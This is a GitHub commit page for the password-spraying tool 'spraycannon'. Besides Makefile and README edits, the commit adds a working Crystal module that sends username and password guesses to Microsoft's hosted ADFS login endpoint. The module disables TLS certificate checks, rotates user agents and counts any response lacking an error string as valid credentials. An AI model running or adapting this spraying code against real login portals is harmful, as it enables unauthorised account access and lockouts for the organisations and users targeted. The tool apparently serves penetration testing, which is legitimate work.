Skip to content

Commit

Permalink
added o365_adfs_forms spraytype
Browse files Browse the repository at this point in the history
  • Loading branch information
CausticKirbyZ committed Jul 19, 2023
1 parent cf1f26c commit 44f3c7e
Show file tree
Hide file tree
Showing 4 changed files with 134 additions and 23 deletions.
64 changes: 42 additions & 22 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -2,44 +2,64 @@ SHELL := /bin/bash # Use bash syntax

.SILENT:

all:
if [ ! -d ./lib ]; then echo -e "\033[0;33mFetching libs...\033[0m" && shards install && echo -e "\033[0;32mDone!\033[0m"; fi
echo "Building tools:"
echo -e "\033[0;33mBuilding spdb...\033[0m"
crystal build -p src/spdb.cr
echo -e "\033[0;32mDone!\033[0m"
echo -e "\033[0;33mBuilding spraycannon...\033[0m"
crystal build -p src/spraycannon.cr
echo -e "\033[0;32mDone!\033[0m"
echo -e "\033[0;33mBuilding supporting documents...\033[0m"
help2man ./spraycannon > spraycannon.1
if [ -f spraycannon.1.gz ]; then rm spraycannon.1.gz; fi
gzip spraycannon.1
echo -e "\033[0;32mDone!\033[0m"
echo -e "\033[0;32mDONE BUILDING ( to install run 'make install' )\033[0m"


CRYSTAL_VERSION := $(shell crystal --version 2>/dev/null)
SHARDS_VERSION := $(shell shards --version 2>/dev/null)

CRYSTAL_PROJECT_LIBS := ./lib


$(CRYSTAL_PROJECT_LIBS): | shard.yml
echo -e "\033[0;33mFetching dependancy shards...\033[0m"
shards install
echo -e "\033[0;32mShards Installed\033[0m"


all: spraycannon spdb
echo -e "\033[0;32mAll Projects Built!:)\033[0m"

# all:
# if [ ! -d ./lib ]; then echo -e "\033[0;33mFetching libs...\033[0m" && shards install && echo -e "\033[0;32mDone!\033[0m"; fi
# echo "Building tools:"
# echo -e "\033[0;33mBuilding spdb...\033[0m"
# crystal build -p src/spdb.cr
# echo -e "\033[0;32mDone!\033[0m"
# echo -e "\033[0;33mBuilding spraycannon...\033[0m"
# crystal build -p src/spraycannon.cr
# echo -e "\033[0;32mDone!\033[0m"
# echo -e "\033[0;33mBuilding supporting documents...\033[0m"
# help2man ./spraycannon > spraycannon.1
# if [ -f spraycannon.1.gz ]; then rm spraycannon.1.gz; fi
# gzip spraycannon.1
# echo -e "\033[0;32mDone!\033[0m"
# echo -e "\033[0;32mDONE BUILDING ( to install run 'make install' )\033[0m"


init:
echo "Fetching libs..."
shards install


test-spraycannon:
spraycannon: $(shell find ./src -name '*.cr') | $(CRYSTAL_PROJECT_LIBS)
echo -e "\033[0;33mBuilding spraycannon...\033[0m"
if [ -f ./spraycannon ]; then rm ./spraycannon; fi
crystal build -p src/spraycannon.cr && ./spraycannon --version

test-spdb:
crystal build -p src/spraycannon.cr
echo -e "\033[0;32mDone!\033[0m"

spdb: $(shell find ./src -name '*.cr') | $(CRYSTAL_PROJECT_LIBS)
echo -e "\033[0;33mBuilding spdb...\033[0m"
if [ -f ./spdb ]; then rm ./spdb; fi
crystal build -p src/spdb.cr && ./spdb --help

crystal build -p src/spdb.cr
echo -e "\033[0;32mDone!\033[0m"

debug:
crystal build -p src/spraycannon.cr --debug
crystal build -p src/spdb.cr --debug



install:
install: all
echo "Installing Tools"
mv ./spraycannon /usr/bin/spraycannon
mv ./spdb /usr/bin/spdb
Expand Down
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,7 @@ fully implemented means that the module works as designed. some protocols may no
ExchangeEAS|no | no | yes
ExchangeOWA|no | no | yes (could be a little more refined but fully working)
adfs_forms |YES(msft azure mfa ) | no | yes
o365_adfs_forms | not yet | no | not validated
SonicwallVirtualOffice|no | no | yes (no mfa though) (validation not confirmed)
Sonicwall(the digest one) | no | no | yes(validation not confirmed)
O365|YES|YES|yes
Expand Down
86 changes: 86 additions & 0 deletions src/spray_types/o365_adfs_forms.cr
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
require "http/client"
require "crystagiri"
require "lexbor"
require "uuid"
require "json"



class O365_ADFS_forms < Sprayer
property domain : String | Nil
## only uncomment if needed
def initialize(usernames : Array(String), password : Array(String) )
# init any special or default variables here
super
@domain = "on.microsoft.com"
end

# returns an array of [username, password, valid, lockout, mfa]
def spray(username : String, password : String) : SprayStatus
# lockedout = false
# valid = false
# mfa = false

spstatus = SprayStatus.new()
spstatus.username = username
spstatus.password = password

#
# YOUR CODE BELOW
#


# client_request_id = bc914e24-be0b-45b9-98a4-902182a50d58
client_request_id = UUID.random
# path = "/adfs/ls/?client-request-id=#{client_request_id}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=cbcxt=&username=&mkt=&lc=&rm=true"
# path = "/adfs/ls/?client-request-id=#{client_request_id}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=#{ URI.encode_www_form("LoginOptions=3&estsredirect=2&estsrequest=") }=&username=&mkt=&lc="

path = "/adfs/ls/?client-request-id=#{client_request_id}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&cbcxt=&username=#{URI.encode_path(username)}&mkt=en-US&lc=&pullStatus=0"


# some basic setups for web based auth
url = URI.parse "#{@target}"
#gotta set no verify for tls pages
context = OpenSSL::SSL::Context::Client.new
context.verify_mode = OpenSSL::SSL::VerifyMode::NONE
# create a http client
client = HTTP::Client.new(url, tls: context)
# and some basic header options
ua = @useragents[rand(0..(@useragents.size - 1))] # we will be referencing the same user agent several times. so pull it and us that so its consistent

header = HTTP::Headers{ # headers for post request
"User-Agent" => ua,
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language" => "en-US,en;q=0.5",
"Accept-Encoding" => "gzip, deflate",
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "https://msft.sts.microsoft.com/adfs/ls/?client-request-id=#{client_request_id}&wa=wsignin1.0&cbcxt=&username=#{URI.encode_path username}&mkt=en-US&lc=&pullStatus=0",
"Origin" => "https://msft.sts.microsoft.com",
}

form = "UserName=#{URI.encode_www_form(username)}&Kmsi=&AuthMethod=FormsAuthentication&Password=#{ URI.encode_www_form(password) }"


# here is the basic auth post req
# the url.path.strip is for added support
page = client.post("#{"/#{url.path.strip("/")}" if url.path != "" }#{path}", headers: header, form: form)

if !page.body.includes? "Incorrect user ID or password"
spstatus.valid_credentials = true
end


# if page.status_code == 302
# # valid = true
# spstatus.valid_credentials = true
# end


#
# end of your CODE make sure you set valid lockedout and mfa
#

# return [username, password, valid, lockedout, mfa]
return spstatus
end
end
6 changes: 5 additions & 1 deletion src/spraycannon.cr
Original file line number Diff line number Diff line change
Expand Up @@ -197,7 +197,7 @@ parser = OptionParser.new() do |opts|
end

opts.on("--list-spraytypes","List the available spraytypes.") do
["msol (o365)", "Okta", "ExchangeEAS","ExchangeOWA","cisco_vpn","ADFS_forms","vpn_sonicwall_virtualoffice","vpn_sonicwall_virtualoffice_5x","vpn_sonicwall_digest","sonicwall_sma","vpn_fortinet","spiceworks","InfinateCampus","egnyte","global_protect","ESXI_web", "VMWare_Horizon","Mattermost", "Citrix"].each {|t| puts t}
["msol (o365)", "msol_adfs", "Okta", "ExchangeEAS","ExchangeOWA","cisco_vpn","ADFS_forms","vpn_sonicwall_virtualoffice","vpn_sonicwall_virtualoffice_5x","vpn_sonicwall_digest","sonicwall_sma","vpn_fortinet","spiceworks","InfinateCampus","egnyte","global_protect","ESXI_web", "VMWare_Horizon","Mattermost", "Citrix"].each {|t| puts t}
exit 0
end

Expand Down Expand Up @@ -323,6 +323,10 @@ when "o365","office365","msol","0365"
options["target"].as( Array(String) ) << "https://login.microsoft.com" unless options["target"].as(Array(String)).size > 0
# exit 0

when "msol_adfs", "adfs_msol"# used for aabbcc@domain-com.on.microsoft.com that ends up in an office 365 hosted adfs portal - sometimes found when google email usede with azure account and internal sync
s = O365_ADFS_forms.new(options["usernames"].as(Array(String)),options["passwords"].as(Array(String)))
options["target"].as( Array(String) ) << "https://msft.sts.microsoft.com" unless options["target"].as(Array(String)).size > 0

# when "google"
# puts "Google spraying is not complete!!! as in It DOES NOT WORK (yet)!!!!"
# # s = Google.new(options["usernames"].as(Array(String)),options["passwords"].as(Array(String)))
Expand Down

0 comments on commit 44f3c7e

Please sign in to comment.